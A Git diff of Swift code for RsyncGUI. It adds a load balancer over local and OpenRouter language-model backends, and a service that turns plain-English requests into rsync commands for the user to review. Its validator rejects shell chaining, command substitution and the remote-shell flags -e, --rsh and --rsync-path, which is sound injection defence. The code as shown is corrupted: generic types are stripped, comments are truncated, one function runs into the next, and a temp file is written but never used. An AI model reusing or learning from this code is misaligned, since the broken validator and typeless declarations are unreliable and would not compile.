+ return map
+ }
+
+ // MARK: - Balanced generation
+
+ /// Balanced, health-gated text generation. Selects a model via the
+ /// `LoadBalancer` over the healthy enabled pool, falling through to the next on
+ /// failure. Throws `LLMError.noBackendAvailable` when nothing is usable so the
+ /// caller (the rsync assistant) can disable itself gracefully.
+ func generate(prompt: String, systemPrompt: String? = nil,
+ temperature: Float = 0.2, maxTokens: Int = 512) async throws -> String {
+ let pool = await discoverEnabledPool()
+ guard !pool.isEmpty else { throw LLMError.noBackendAvailable }
+
+ let health = await healthMap(for: pool)
+ var remaining = pool
+ var lastError: Error?
+
+ while let choice = balancer.next(pool: remaining, health: health, policy: balancerPolicy) {
+ balancer.checkOut(choice.id)
+ do {
+ let result = try await dispatch(model: choice, prompt: prompt, systemPrompt: systemPrompt,
+ temperature: temperature, maxTokens: maxTokens)
+ balancer.checkIn(choice.id)
+ return result
+ } catch {
+ balancer.checkIn(choice.id)
+ lastError = error
+ remaining.removeAll { $0.id == choice.id }
+ continue
+ }
+ }
+ throw lastError ?? LLMError.noBackendAvailable
+ }
+
+ /// Route a balancer-selected model through the appropriate backend
+ /// implementation. All OpenAI-compatible backends ride the generic path.
+ private func dispatch(model: DiscoveredModel, prompt: String, systemPrompt: String?,
+ temperature: Float, maxTokens: Int) async throws -> String {
+ switch model.backend {
+ case .ollama:
+ return try await generateWithOllama(model: model.modelName, prompt: prompt,
+ systemPrompt: systemPrompt, temperature: temperature, maxTokens: maxTokens)
+ case .mlx:
+ return try await generateWithMLX(prompt: prompt, systemPrompt: systemPrompt, maxTokens: maxTokens)
+ case .openRouter:
+ guard let key = openRouterAPIKey(), !key.isEmpty else { throw LLMError.noBackendAvailable }
+ return try await generateOpenAICompatible(endpoint: model.endpoint, model: model.modelName,
+ headers: OpenRouterProvider.authHeaders(apiKey: key),
+ prompt: prompt, systemPrompt: systemPrompt,
+ temperature: temperature, maxTokens: maxTokens)
+ case .novaGateway:
+ return try await generateOpenAICompatible(endpoint: model.endpoint, model: model.modelName,
+ headers: [:], prompt: prompt, systemPrompt: systemPrompt,
+ temperature: temperature, maxTokens: maxTokens)
+ default:
+ throw LLMError.noBackendAvailable
+ }
+ }
+
+ // MARK: - Backend implementations
+
+ private func generateWithOllama(model: String, prompt: String, systemPrompt: String?,
+ temperature: Float, maxTokens: Int) async throws -> String {
+ guard let url = URL(string: "\(ollamaURL)/api/chat") else { throw LLMError.invalidURL }
+ let messages = OpenAICompatibleRequest.chatMessages(prompt: prompt, systemPrompt: systemPrompt, history: [])
+ let body: [String: Any] = [
+ "model": model, "messages": messages, "stream": false,
+ "options": ["temperature": temperature, "num_predict": maxTokens]
+ ]
+ var request = URLRequest(url: url)
+ request.httpMethod = "POST"
+ request.setValue("application/json", forHTTPHeaderField: "Content-Type")
+ request.httpBody = try JSONSerialization.data(withJSONObject: body)
+ request.timeoutInterval = 120
+
+ let (data, response) = try await session.data(for: request)
+ guard (response as? HTTPURLResponse)?.statusCode == 200 else {
+ throw LLMError.httpError((response as? HTTPURLResponse)?.statusCode ?? 0)
+ }
+ guard let json = try? JSONSerialization.jsonObject(with: data) as? [String: Any],
+ let message = json["message"] as? [String: Any],
+ let content = message["content"] as? String else {
+ throw LLMError.noResponse
+ }
+ return content
+ }
+
+ private func generateOpenAICompatible(endpoint: String, model: String, headers: [String: String],
+ prompt: String, systemPrompt: String?,
+ temperature: Float, maxTokens: Int) async throws -> String {
+ let messages = OpenAICompatibleRequest.chatMessages(prompt: prompt, systemPrompt: systemPrompt, history: [])
+ var request = try OpenAICompatibleRequest.build(
+ endpoint: endpoint, model: model, messages: messages,
+ temperature: temperature, maxTokens: maxTokens, stream: false, headers: headers)
+ request.timeoutInterval = 120
+
+ let (data, response) = try await session.data(for: request)
+ guard (response as? HTTPURLResponse)?.statusCode == 200 else {
+ throw LLMError.httpError((response as? HTTPURLResponse)?.statusCode ?? 0)
+ }
+ struct OpenAIResponse: Codable {
+ struct Choice: Codable { struct Message: Codable { let content: String }; let message: Message }
+ let choices: [Choice]
+ }
+ let decoded = try JSONDecoder().decode(OpenAIResponse.self, from: data)
+ return decoded.choices.first?.message.content ?? ""
+ }
+
+ private func generateWithMLX(prompt: String, systemPrompt: String?, maxTokens: Int) async throws -> String {
+ let mlxPath = "/opt/homebrew/bin/mlx_lm.generate"
+ guard FileManager.default.isExecutableFile(atPath: mlxPath) else { throw LLMError.mlxNotAvailable }
+
+ var fullPrompt = prompt
+ if let system = systemPrompt, !system.isEmpty { fullPrompt = "\(system)\n\n\(prompt)" }
+
+ // Write the prompt to a temp file (never interpolate user text into args in a shell).
+ let promptFile = FileManager.default.temporaryDirectory
+ .appendingPathComponent("rsyncgui_mlx_\(UUID().uuidString).txt")
+ try fullPrompt.write(to: promptFile, atomically: true, encoding: .utf8)
+
+ return try await withCheckedThrowingContinuation { continuation in
+ defer { try? FileManager.default.removeItem(at: promptFile) }
+ let process = Process()
+ process.executableURL = URL(fileURLWithPath: mlxPath)
+ process.arguments = ["--model", "mlx-community/Llama-3.2-3B-Instruct-4bit",
+ "--prompt", fullPrompt, "--max-tokens", "\(maxTokens)"]
+ let outputPipe = Pipe()
+ process.standardOutput = outputPipe
+ process.standardError = Pipe()
+ do {
+ try process.run()
+ process.waitUntilExit()
+ guard process.terminationStatus == 0 else {
+ continuation.resume(throwing: LLMError.mlxNotAvailable); return
+ }
+ let data = outputPipe.fileHandleForReading.readDataToEndOfFile()
+ guard let output = String(data: data, encoding: .utf8), !output.isEmpty else {
+ continuation.resume(throwing: LLMError.noResponse); return
+ }
+ continuation.resume(returning: output.trimmingCharacters(in: .whitespacesAndNewlines))
+ } catch {
+ continuation.resume(throwing: LLMError.mlxNotAvailable)
+ }
+ }
+ }
+}
diff --git a/RsyncGUI/Services/ModelRegistry.swift b/RsyncGUI/Services/ModelRegistry.swift
new file mode 100644
index 0000000..e9780a3
--- /dev/null
+++ b/RsyncGUI/Services/ModelRegistry.swift
@@ -0,0 +1,228 @@
+//
+// ModelRegistry.swift
+// AIStudio
+//
+// Created by Jordan Koch on 2026-02-19.
+// Copyright © 2026 Jordan Koch. All rights reserved.
+//
+// Discovers every model available on the machine and normalizes them into a
+// flat `[DiscoveredModel]` pool that the load balancer can spread work across —
+// the single-user version of how Nova's gateway balances load.
+//
+// The parsing/composition logic is factored into pure, network-free functions so
+// it is fully unit-testable; the thin discovery wrappers do the actual I/O and
+// never throw to the caller (an unreachable backend simply contributes zero
+// models).
+//
+
+import Foundation
+
+// MARK: - Discovered model
+
+/// A single model discovered on the machine, normalized across backends.
+struct DiscoveredModel: Identifiable, Hashable, Sendable {
+ /// Stable, pool-unique identifier (`"|"`).
+ let id: String
+ /// The raw model name/id passed to the backend API (e.g. `mistral:latest`).
+ let modelName: String
+ /// Human-friendly label for pickers.
+ let displayName: String
+ /// Which backend serves this model.
+ let backend: LLMBackendType
+ /// Base or chat-completions endpoint the model is reachable at (informational
+ /// for MLX, which runs in-process).
+ let endpoint: String
+
+ init(modelName: String, displayName: String? = nil, backend: LLMBackendType, endpoint: String) {
+ self.id = "\(backend.rawValue)|\(modelName)"
+ self.modelName = modelName
+ self.displayName = displayName ?? modelName
+ self.backend = backend
+ self.endpoint = endpoint
+ }
+}
+
+// MARK: - Model registry
+
+/// Discovers and normalizes the models available on this machine.
+///
+/// All the JSON/structured-input → `[DiscoveredModel]` mapping lives in pure,
+/// network-free functions (`parseOllamaTags`, `parseMLXModels`, `frontierModels`,
+/// `assemblePool`) so they can be unit-tested without hitting the network. The
+/// `discover*` wrappers add the thin I/O layer and swallow every error.
+enum ModelRegistry {
+ /// Default local Ollama base URL.
+ static let ollamaBaseURL = "http://localhost:11434"
+ /// Default Nova Gateway base URL (OpenAI-compatible, inherits Nova's routing).
+ static let novaGatewayDefaultURL = "http://127.0.0.1:18792"
+
+ // MARK: Pure parsing (network-free, unit-tested)
+
+ /// Map an Ollama `/api/tags` response body to `[DiscoveredModel]`.
+ /// Returns `[]` for empty/garbage input — never throws.
+ static func parseOllamaTags(_ data: Data, baseURL: String = ollamaBaseURL) -> [DiscoveredModel] {
+ guard let json = try? JSONSerialization.jsonObject(with: data) as? [String: Any],
+ let models = json["models"] as? [[String: Any]] else {
+ return []
+ }
+ let endpoint = "\(baseURL)/api/chat"
+ return models.compactMap { entry -> DiscoveredModel? in
+ guard let name = entry["name"] as? String, !name.isEmpty else { return nil }
+ return DiscoveredModel(modelName: name, backend: .ollama, endpoint: endpoint)
+ }
+ }
+
+ /// Map a set of Hugging Face hub cache directory names to locally-installed
+ /// MLX models. A hub directory is named `models----`; this converts
+ /// it back to the `/` model id and keeps only MLX models. Pure and
+ /// network-free; the discovery wrapper feeds it the real directory listing.
+ static func parseMLXModels(hubDirectoryNames names: [String]) -> [DiscoveredModel] {
+ names.compactMap { raw -> DiscoveredModel? in
+ guard raw.hasPrefix("models--") else { return nil }
+ let repo = raw.dropFirst("models--".count).replacingOccurrences(of: "--", with: "/")
+ guard !repo.isEmpty, repo.lowercased().contains("mlx") else { return nil }
+ let short = repo.split(separator: "/").last.map(String.init) ?? repo
+ // MLX runs in-process — no HTTP endpoint.
+ return DiscoveredModel(modelName: repo, displayName: short, backend: .mlx, endpoint: "")
+ }
+ }
+
+ /// Map OpenRouter model ids (from `OpenRouterProvider.parseModels`) into the
+ /// registry as frontier models. Pure and network-free.
+ static func frontierModels(from openRouterModelIds: [String]) -> [DiscoveredModel] {
+ openRouterModelIds.compactMap { id -> DiscoveredModel? in
+ guard !id.isEmpty else { return nil }
+ return DiscoveredModel(modelName: id, backend: .openRouter, endpoint: OpenRouterProvider.chatCompletionsURL)
+ }
+ }
+
+ /// The single Nova Gateway "model" — the app routes to Nova and inherits her
+ /// own internal routing, so it presents as one balancer entry.
+ static func novaGatewayModel(url: String = novaGatewayDefaultURL) -> DiscoveredModel {
+ DiscoveredModel(
+ modelName: "nova",
+ displayName: "Nova Gateway",
+ backend: .novaGateway,
+ endpoint: "\(url)/v1/chat/completions"
+ )
+ }
+
+ /// Compose the enabled balancer pool from per-source model lists and the three
+ /// toggles. Pure and network-free — this is the toggle-composition contract the
+ /// load balancer runs over.
+ static func assemblePool(
+ ollama: [DiscoveredModel] = [],
+ mlx: [DiscoveredModel] = [],
+ frontier: [DiscoveredModel] = [],
+ novaGateway: DiscoveredModel? = nil,
+ useAllLocalModels: Bool,
+ enableAllFrontierModels: Bool,
+ useNovaGateway: Bool
+ ) -> [DiscoveredModel] {
+ var pool: [DiscoveredModel] = []
+ if useAllLocalModels {
+ pool.append(contentsOf: ollama)
+ pool.append(contentsOf: mlx)
+ }
+ if enableAllFrontierModels {
+ pool.append(contentsOf: frontier)
+ }
+ if useNovaGateway, let nova = novaGateway {
+ pool.append(nova)
+ }
+ // De-duplicate by id while preserving first-seen order.
+ var seen = Set()
+ return pool.filter { seen.insert($0.id).inserted }
+ }
+
+ // MARK: Discovery I/O (thin, resilient — never throws)
+
+ /// Discover local Ollama models. Any failure → `[]`.
+ static func discoverOllama(baseURL: String = ollamaBaseURL, session: URLSession = .shared) async -> [DiscoveredModel] {
+ guard let url = URL(string: "\(baseURL)/api/tags") else { return [] }
+ do {
+ let (data, response) = try await session.data(from: url)
+ guard (response as? HTTPURLResponse)?.statusCode == 200 else { return [] }
+ return parseOllamaTags(data, baseURL: baseURL)
+ } catch {
+ return []
+ }
+ }
+
+ /// Discover locally-installed MLX models from the Hugging Face hub cache. Any
+ /// failure (no cache dir, unreadable) → `[]`.
+ static func discoverMLX(hubPath: String? = nil) -> [DiscoveredModel] {
+ let path = hubPath ?? (NSHomeDirectory() as NSString).appendingPathComponent(".cache/huggingface/hub")
+ guard let entries = try? FileManager.default.contentsOfDirectory(atPath: path) else { return [] }
+ return parseMLXModels(hubDirectoryNames: entries)
+ }
+}
+
+// MARK: - Load balancer
+
+/// Balancer selection policy.
+enum BalancerPolicy: String, CaseIterable, Sendable {
+ /// Cycle through the pool in order, wrapping around.
+ case roundRobin
+ /// Prefer the model with the fewest in-flight requests.
+ case leastBusy
+}
+
+/// Pure, network-free load balancer over a `[DiscoveredModel]` pool. Given the
+/// pool, a per-model health map and a policy, it returns the next model to use —
+/// no network, so it is fully unit-testable. In-flight counts (for `.leastBusy`)
+/// are tracked internally via `checkOut`/`checkIn`.
+///
+/// Composes with `FailoverPlanner`: the manager gates the pool to healthy backends
+/// first (skip unhealthy, fall through), then the balancer spreads load across
+/// what remains. A model is eligible unless the health map marks it `false`.
+final class LoadBalancer {
+ /// In-flight request count per model id.
+ private(set) var inFlight: [String: Int] = [:]
+ /// Rolling cursor for round-robin.
+ private var cursor: Int = 0
+
+ init() {}
+
+ /// The healthy subset of `pool`, preserving pool order. A model is healthy
+ /// unless the map explicitly marks it `false`.
+ func healthy(in pool: [DiscoveredModel], health: [String: Bool]) -> [DiscoveredModel] {
+ pool.filter { health[$0.id] != false }
+ }
+
+ /// Select the next model from the healthy subset of `pool` under `policy`.
+ /// Returns `nil` when nothing is healthy (the manager then falls back cleanly).
+ func next(pool: [DiscoveredModel], health: [String: Bool] = [:], policy: BalancerPolicy) -> DiscoveredModel? {
+ let candidates = healthy(in: pool, health: health)
+ guard !candidates.isEmpty else { return nil }
+
+ switch policy {
+ case .roundRobin:
+ let choice = candidates[cursor % candidates.count]
+ cursor += 1
+ return choice
+ case .leastBusy:
+ // Lowest in-flight count wins; ties broken by pool order (first).
+ return candidates.min { lhs, rhs in
+ (inFlight[lhs.id] ?? 0) < (inFlight[rhs.id] ?? 0)
+ }
+ }
+ }
+
+ /// Mark a request as started against `modelId`.
+ func checkOut(_ modelId: String) {
+ inFlight[modelId, default: 0] += 1
+ }
+
+ /// Mark a request against `modelId` as finished.
+ func checkIn(_ modelId: String) {
+ let current = inFlight[modelId] ?? 0
+ inFlight[modelId] = max(0, current - 1)
+ }
+
+ /// Reset all balancer state (cursor + in-flight counts).
+ func reset() {
+ inFlight.removeAll()
+ cursor = 0
+ }
+}
diff --git a/RsyncGUI/Services/OpenRouterProvider.swift b/RsyncGUI/Services/OpenRouterProvider.swift
new file mode 100644
index 0000000..661ac54
--- /dev/null
+++ b/RsyncGUI/Services/OpenRouterProvider.swift
@@ -0,0 +1,158 @@
+//
+// OpenRouterProvider.swift
+// AIStudio
+//
+// Created by Jordan Koch on 2026-02-19.
+// Copyright © 2026 Jordan Koch. All rights reserved.
+//
+// OpenRouter frontier-model access + the deterministic (network-free) pieces of
+// the OpenAI-compatible request path and the automatic-failover selection logic.
+// These are factored out as pure helpers so they can be unit-tested without
+// hitting the network.
+//
+
+import Foundation
+
+// MARK: - OpenRouter constants & helpers
+
+/// Static configuration and pure helpers for the OpenRouter provider.
+enum OpenRouterProvider {
+ /// OpenAI-compatible base URL (already includes `/v1`).
+ static let baseURL = "https://openrouter.ai/api/v1"
+ /// Full chat-completions endpoint.
+ static var chatCompletionsURL: String { "\(baseURL)/chat/completions" }
+ /// Models listing endpoint.
+ static var modelsURL: String { "\(baseURL)/models" }
+
+ /// Attribution headers required/recommended by OpenRouter.
+ static let referer = "https://github.com/kochj23/RsyncGUI"
+ static let title = "RsyncGUI"
+
+ /// macOS Keychain service used to store the OpenRouter API key.
+ static let keychainService = "com.jordankoch.rsyncgui.openrouter"
+
+ /// Hardcoded fallback model list used when the live `/models` fetch fails.
+ /// A few popular current models spanning providers.
+ static let fallbackModels: [String] = [
+ "anthropic/claude-sonnet-4.5",
+ "openai/gpt-4o",
+ "google/gemini-2.0-flash-001",
+ "meta-llama/llama-3.3-70b-instruct",
+ "deepseek/deepseek-chat"
+ ]
+
+ /// Default model selected when none has been chosen yet.
+ static var defaultModel: String { fallbackModels.first ?? "openai/gpt-4o" }
+
+ /// Auth + attribution headers for OpenRouter requests.
+ static func authHeaders(apiKey: String) -> [String: String] {
+ [
+ "Authorization": "Bearer \(apiKey)",
+ "HTTP-Referer": referer,
+ "X-Title": title
+ ]
+ }
+
+ /// Parse the model ids out of an OpenRouter `/models` response body.
+ /// Returns an empty array if the payload can't be parsed.
+ static func parseModels(_ data: Data) -> [String] {
+ guard let json = try? JSONSerialization.jsonObject(with: data) as? [String: Any],
+ let models = json["data"] as? [[String: Any]] else {
+ return []
+ }
+ return models.compactMap { $0["id"] as? String }
+ }
+}
+
+// MARK: - OpenAI-compatible request construction
+
+/// Pure builders for the generic OpenAI-compatible `/v1/chat/completions` request.
+/// No network, no shared state — fully unit-testable.
+enum OpenAICompatibleRequest {
+ /// Map a prompt + optional system prompt + prior history into the OpenAI
+ /// `messages` array shape.
+ static func chatMessages(
+ prompt: String,
+ systemPrompt: String?,
+ history: [ChatMessage]
+ ) -> [[String: String]] {
+ var messages: [[String: String]] = []
+
+ if let system = systemPrompt, !system.isEmpty {
+ messages.append(["role": "system", "content": system])
+ }
+
+ for msg in history where msg.role != .system {
+ messages.append(["role": msg.role.rawValue, "content": msg.content])
+ }
+
+ // Add the new user prompt unless it's already the trailing message.
+ if history.last?.role != .user || history.last?.content != prompt {
+ messages.append(["role": "user", "content": prompt])
+ }
+
+ return messages
+ }
+
+ /// Build a POST `URLRequest` for a full chat-completions endpoint URL.
+ /// - Parameter endpoint: the complete URL (e.g. OpenRouter's
+ /// `https://openrouter.ai/api/v1/chat/completions`, or a local
+ /// `http://host/v1/chat/completions`).
+ static func build(
+ endpoint: String,
+ model: String,
+ messages: [[String: String]],
+ temperature: Float,
+ maxTokens: Int,
+ stream: Bool,
+ headers: [String: String] = [:]
+ ) throws -> URLRequest {
+ guard let url = URL(string: endpoint) else {
+ throw LLMError.invalidURL
+ }
+
+ var request = URLRequest(url: url)
+ request.httpMethod = "POST"
+ request.setValue("application/json", forHTTPHeaderField: "Content-Type")
+ for (key, value) in headers {
+ request.setValue(value, forHTTPHeaderField: key)
+ }
+
+ let body: [String: Any] = [
+ "model": model,
+ "messages": messages,
+ "temperature": temperature,
+ "max_tokens": maxTokens,
+ "stream": stream
+ ]
+ request.httpBody = try JSONSerialization.data(withJSONObject: body)
+ return request
+ }
+}
+
+// MARK: - Automatic failover selection
+
+/// Pure selection logic for health-checked automatic failover — the single-user
+/// version of Nova's load balancing. Given an ordered preference chain and a map
+/// of per-backend availability, pick which backend to use. No network here so it
+/// is fully unit-testable; the manager injects live availability.
+enum FailoverPlanner {
+ /// Default ordered preference chain: local-first, then frontier.
+ static let defaultChain: [LLMBackendType] = [.ollama, .mlx, .openRouter]
+
+ /// The ordered subset of `chain` that is currently available.
+ static func orderedHealthy(
+ chain: [LLMBackendType],
+ availability: [LLMBackendType: Bool]
+ ) -> [LLMBackendType] {
+ chain.filter { availability[$0] == true }
+ }
+
+ /// The first backend in `chain` that is available, or nil if none are.
+ static func firstHealthy(
+ chain: [LLMBackendType],
+ availability: [LLMBackendType: Bool]
+ ) -> LLMBackendType? {
+ chain.first { availability[$0] == true }
+ }
+}
diff --git a/RsyncGUI/Services/RsyncSuggestionService.swift b/RsyncGUI/Services/RsyncSuggestionService.swift
new file mode 100644
index 0000000..ac40ca1
--- /dev/null
+++ b/RsyncGUI/Services/RsyncSuggestionService.swift
@@ -0,0 +1,348 @@
+//
+// RsyncSuggestionService.swift
+// RsyncGUI
+//
+// "Describe it in English" → rsync. The user types intent in plain English; the
+// balanced LLM returns a concrete rsync command, which is surfaced for REVIEW and
+// used to pre-fill the command builder.
+//
+// CRITICAL SAFETY: the generated command is NEVER auto-executed. rsync is
+// destructive (`--delete`), so the suggestion is only shown and used to populate
+// the builder — the user still has to explicitly run the job.
+//
+// The two load-bearing pieces are pure and network-free so they are fully
+// unit-testable:
+// • `RsyncPromptBuilder` — turns intent into a deterministic prompt.
+// • `parseRsyncSuggestion(_:)` — a strict output sanitizer/validator that
+// extracts ONLY a valid rsync invocation and rejects everything else
+// (no shell chaining, no command substitution, no redirection, no `rm`,
+// no program-executing rsync flags such as `-e` / `--rsync-path`).
+//
+// Author: Jordan Koch
+//
+
+import Foundation
+
+// MARK: - Parsed command
+
+/// A validated rsync invocation extracted from LLM output. Only ever produced by
+/// `parseRsyncSuggestion`, so by construction it contains no shell metacharacters
+/// and only allow-listed rsync flags.
+struct RsyncCommand: Equatable {
+ /// Allow-listed rsync flags in the order they appeared (e.g. `["-a", "--delete"]`).
+ var flags: [String]
+ /// Source operands (rsync permits several).
+ var sources: [String]
+ /// Destination operand (the final path), if present.
+ var destination: String?
+
+ /// A human-readable, re-quoted command for display/review.
+ var displayString: String {
+ var parts = ["rsync"]
+ parts.append(contentsOf: flags)
+ parts.append(contentsOf: sources.map { Self.quoteIfNeeded($0) })
+ if let dest = destination { parts.append(Self.quoteIfNeeded(dest)) }
+ return parts.joined(separator: " ")
+ }
+
+ private static func quoteIfNeeded(_ token: String) -> String {
+ token.contains(" ") ? "'\(token)'" : token
+ }
+}
+
+// MARK: - Pure prompt builder (network-free)
+
+enum RsyncPromptBuilder {
+ /// System prompt that pins the model to emitting exactly one rsync command.
+ static func systemPrompt() -> String {
+ """
+ You translate a user's plain-English backup/sync intent into a single rsync command.
+ STRICT RULES:
+ - Output ONLY one line: a single `rsync ...` command. No prose, no explanation, no code fences.
+ - Never chain commands. Never use ; | & && || backticks $() redirection or any shell operator.
+ - Never use `-e`, `--rsh`, or `--rsync-path`. Never call any program other than rsync.
+ - Prefer safe, explicit flags. Use --delete only when the user clearly asks to remove extras on the destination.
+ - Use --exclude=PATTERN for skipped files. Use --dry-run when the user asks to preview.
+ - If the source or destination path is unknown, use the literal placeholders SRC and DEST.
+ """
+ }
+
+ /// User prompt describing the concrete intent plus any known paths.
+ static func userPrompt(intent: String, sources: [String] = [], destination: String? = nil) -> String {
+ var lines = ["Intent: \(intent.trimmingCharacters(in: .whitespacesAndNewlines))"]
+ let realSources = sources.filter { !$0.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty }
+ if !realSources.isEmpty {
+ lines.append("Known source path(s): \(realSources.joined(separator: ", "))")
+ }
+ if let dest = destination, !dest.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty {
+ lines.append("Known destination path: \(dest)")
+ }
+ lines.append("Return the single rsync command now.")
+ return lines.joined(separator: "\n")
+ }
+}
+
+// MARK: - Pure output validator (network-free)
+
+/// Allow-list of rsync flags the validator will accept. This is the security
+/// boundary: any flag not listed here causes the whole suggestion to be rejected,
+/// which excludes program-executing flags like `-e` / `--rsh` / `--rsync-path`.
+private enum RsyncFlagAllowList {
+ /// Safe single-character short flags. Note `e` (remote shell) is deliberately absent.
+ static let shortFlags: Set = [
+ "a", "v", "z", "r", "u", "n", "l", "p", "t", "o", "g", "D", "H", "A", "X", "E",
+ "c", "i", "h", "q", "x", "S", "C", "m", "b", "k", "K", "J", "O", "I", "L", "W",
+ "y", "P", "d", "R", "4", "6"
+ ]
+
+ /// Safe long boolean flags (exact match, no value).
+ static let longBooleanFlags: Set = [
+ "archive", "verbose", "compress", "recursive", "update", "dry-run", "existing",
+ "ignore-existing", "delete", "delete-excluded", "delete-before", "delete-during",
+ "delete-delay", "delete-after", "force", "partial", "inplace", "checksum",
+ "size-only", "ignore-times", "progress", "stats", "human-readable", "links",
+ "perms", "times", "group", "owner", "devices", "specials", "hard-links", "acls",
+ "xattrs", "executability", "one-file-system", "sparse", "prune-empty-dirs",
+ "numeric-ids", "cvs-exclude", "itemize-changes", "whole-file", "no-whole-file",
+ "safe-links", "copy-links", "copy-unsafe-links", "fuzzy", "append", "append-verify",
+ "backup", "quiet", "remove-source-files", "delay-updates", "protect-args",
+ "ipv4", "ipv6", "omit-dir-times", "omit-link-times", "no-implied-dirs"
+ ]
+
+ /// Safe long value flags (`--key=VALUE`). Program-executing keys (`rsync-path`,
+ /// `rsh`) are intentionally excluded.
+ static let longValueFlags: Set = [
+ "exclude", "include", "filter", "exclude-from", "include-from", "files-from",
+ "max-delete", "bwlimit", "max-size", "min-size", "timeout", "contimeout", "port",
+ "chmod", "partial-dir", "backup-dir", "suffix", "compare-dest", "copy-dest",
+ "link-dest", "modify-window", "block-size", "out-format", "log-file", "info",
+ "debug", "skip-compress", "checksum-choice", "chown"
+ ]
+}
+
+/// Extract and validate a single rsync command from arbitrary LLM output.
+///
+/// Returns a `RsyncCommand` only for a clean, single rsync invocation. Returns
+/// `nil` for anything else — shell chaining, command substitution, redirection,
+/// unbalanced quotes, non-rsync programs, `rm`/`sudo`, or any flag outside the
+/// allow-list. This is the injection barrier for the feature.
+func parseRsyncSuggestion(_ llmText: String) -> RsyncCommand? {
+ // 1. Reduce the raw text to a candidate line: strip code fences, then take the
+ // first line whose first meaningful token is rsync.
+ guard let candidate = extractRsyncLine(from: llmText) else { return nil }
+
+ // 2. Tokenize with a quote-aware scanner that rejects any unquoted shell
+ // metacharacter and any command-substitution attempt (even inside quotes).
+ guard let tokens = safelyTokenize(candidate), !tokens.isEmpty else { return nil }
+
+ // 3. The program must be rsync (bare or an absolute path ending in /rsync).
+ let program = tokens[0]
+ guard program == "rsync" || program.hasSuffix("/rsync") else { return nil }
+
+ // 4. Classify the remaining tokens: allow-listed flags vs. path operands.
+ var flags: [String] = []
+ var operands: [String] = []
+ for token in tokens.dropFirst() {
+ if token.hasPrefix("--") {
+ guard isAllowedLongFlag(token) else { return nil }
+ flags.append(token)
+ } else if token.hasPrefix("-") && token.count > 1 {
+ guard isAllowedShortFlagCluster(token) else { return nil }
+ flags.append(token)
+ } else {
+ operands.append(token)
+ }
+ }
+
+ // 5. A bare `rsync` with nothing actionable is not a usable suggestion.
+ guard !flags.isEmpty || !operands.isEmpty else { return nil }
+
+ // 6. Split operands into sources + destination (rsync: last operand is the dest).
+ var sources: [String] = []
+ var destination: String?
+ if operands.count >= 2 {
+ destination = operands.last
+ sources = Array(operands.dropLast())
+ } else {
+ sources = operands
+ }
+
+ return RsyncCommand(flags: flags, sources: sources, destination: destination)
+}
+
+// MARK: - Validator internals
+
+/// Pull the first rsync command line out of possibly-fenced, possibly-chatty
+/// output. Triple-backtick fences are removed; a line wrapped in a matching pair of
+/// single backticks is unwrapped. INTERNAL backticks are intentionally left in place
+/// so the tokenizer rejects them (a command-substitution attempt must not survive as
+/// a "clean" command).
+private func extractRsyncLine(from text: String) -> String? {
+ var cleaned = text
+ for fence in ["```bash", "```sh", "```shell", "```zsh", "```"] {
+ cleaned = cleaned.replacingOccurrences(of: fence, with: "\n")
+ }
+ for rawLine in cleaned.split(whereSeparator: { $0 == "\n" || $0 == "\r" }) {
+ let line = rawLine.trimmingCharacters(in: .whitespaces)
+ guard !line.isEmpty else { continue }
+
+ // (a) Inline single-backtick code span, e.g. "Use `rsync -a /a/ /b/`.".
+ // Splitting on backticks, ONLY the odd-indexed segments are inside a
+ // matched pair; return the first such span that starts with rsync. A
+ // bare command with a stray backtick (index 0 is outside a span) does
+ // not match here and falls through to (b), where the tokenizer rejects
+ // the backtick as a substitution attempt.
+ if line.contains("`") {
+ let segments = line.split(separator: "`", omittingEmptySubsequences: false)
+ var idx = 1
+ while idx < segments.count {
+ let span = segments[idx].trimmingCharacters(in: .whitespaces)
+ let firstToken = span.split(separator: " ").first.map(String.init) ?? ""
+ if firstToken == "rsync" || firstToken.hasSuffix("/rsync") {
+ return span
+ }
+ idx += 2
+ }
+ }
+
+ // (b) A bare command line beginning with rsync (optionally after a "$ " prompt).
+ var bare = line
+ if bare.hasPrefix("$ ") { bare = String(bare.dropFirst(2)) }
+ let firstToken = bare.split(separator: " ").first.map(String.init) ?? ""
+ if firstToken == "rsync" || firstToken.hasSuffix("/rsync") {
+ return bare
+ }
+ }
+ return nil
+}
+
+/// Quote-aware tokenizer. Returns nil (reject) on any unquoted shell metacharacter,
+/// any `$`/backtick that could drive command substitution, or unbalanced quotes.
+private func safelyTokenize(_ input: String) -> [String]? {
+ // Unquoted characters that enable chaining, substitution, redirection, grouping.
+ let forbiddenUnquoted: Set = [";", "|", "&", "<", ">", "`", "$", "(", ")", "{", "}", "\n", "\r", "\\"]
+
+ enum QuoteState { case none, single, double }
+ var state: QuoteState = .none
+ var tokens: [String] = []
+ var current = ""
+ var hasCurrent = false
+
+ for ch in input {
+ switch state {
+ case .none:
+ if ch == "'" { state = .single; hasCurrent = true }
+ else if ch == "\"" { state = .double; hasCurrent = true }
+ else if ch == " " || ch == "\t" {
+ if hasCurrent { tokens.append(current); current = ""; hasCurrent = false }
+ } else if forbiddenUnquoted.contains(ch) {
+ return nil // injection / chaining attempt
+ } else {
+ current.append(ch); hasCurrent = true
+ }
+ case .single:
+ // Single quotes are fully literal in shells — but keep our own guarantees
+ // by still forbidding substitution drivers defensively.
+ if ch == "'" { state = .none }
+ else { current.append(ch) }
+ case .double:
+ if ch == "\"" { state = .none }
+ else if ch == "`" || ch == "$" || ch == "\\" { return nil } // substitution inside "..."
+ else { current.append(ch) }
+ }
+ }
+ if state != .none { return nil } // unbalanced quotes
+ if hasCurrent { tokens.append(current) }
+ return tokens
+}
+
+private func isAllowedLongFlag(_ token: String) -> Bool {
+ let body = String(token.dropFirst(2)) // remove leading --
+ if let eq = body.firstIndex(of: "=") {
+ let key = String(body[.. Bool {
+ // e.g. "-avz" → every letter must be individually allow-listed.
+ for ch in token.dropFirst() {
+ guard RsyncFlagAllowList.shortFlags.contains(ch) else { return false }
+ }
+ return true
+}
+
+// MARK: - Applying a suggestion to the builder
+
+extension RsyncCommand {
+ /// Map the validated flags onto a fresh copy of `options`, so the command
+ /// builder is pre-filled. Only recognized flags are applied; unknown ones are
+ /// ignored (they were already allow-listed by the validator).
+ func applied(to base: RsyncOptions) -> RsyncOptions {
+ var o = base
+ for flag in flags {
+ if flag.hasPrefix("--") {
+ applyLong(flag, to: &o)
+ } else {
+ for ch in flag.dropFirst() { applyShort(ch, to: &o) }
+ }
+ }
+ return o
+ }
+
+ private func applyShort(_ ch: Character, to o: inout RsyncOptions) {
+ switch ch {
